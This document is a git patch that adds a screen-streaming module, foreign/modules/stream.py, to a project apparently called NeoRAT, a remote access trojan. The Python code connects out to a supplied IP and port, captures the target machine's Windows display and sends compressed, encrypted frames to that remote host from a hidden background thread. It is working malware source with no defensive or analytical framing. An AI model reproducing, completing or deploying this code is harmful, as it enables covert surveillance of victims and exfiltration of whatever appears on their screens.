From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/modules/stream.py | 60 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 foreign/modules/stream.py (limited to 'foreign/modules/stream.py') diff --git a/foreign/modules/stream.py b/foreign/modules/stream.py new file mode 100644 index 0000000..e5f0a3a --- /dev/null +++ b/foreign/modules/stream.py @@ -0,0 +1,60 @@ +import threading +import ctypes +import socket +import pickle +import numpy +import zlib +import time +import cv2 + +from desktopmagic.screengrab_win32 import getDisplayRects, getRectAsImage + +from foreign.parse.crash_exception_handling import * +from foreign.global_state import * + +user32 = ctypes.windll.user32 +user32.SetProcessDPIAware() + + +@crash_exception_handling +def stream_action(ip, port, resolution, monitor, fps): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + mode = [True, 0, b''] + + while True: + last_time = time.time() + client_msg = s.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + frame = getRectAsImage(getDisplayRects()[monitor]) + frame = numpy.array(frame) + frame = cv2.resize(frame, resolution) + frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + + if fps: + cv2.putText(frame, f'{1.0 / (time.time() - last_time):.2f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 0), 2) + + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 9) + frame = encryption.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + mode = [True, 0, b''] + + +def stream(ip, port, resolution, monitor, fps): + threading.Thread(target=stream_action, args=(ip, port, resolution, monitor, fps), daemon=True).start() + return {'message': 'Stream thread started', 'text_mode': 'primary', 'text_extras': {'point': True}} \ No newline at end of file -- cgit v1.2.3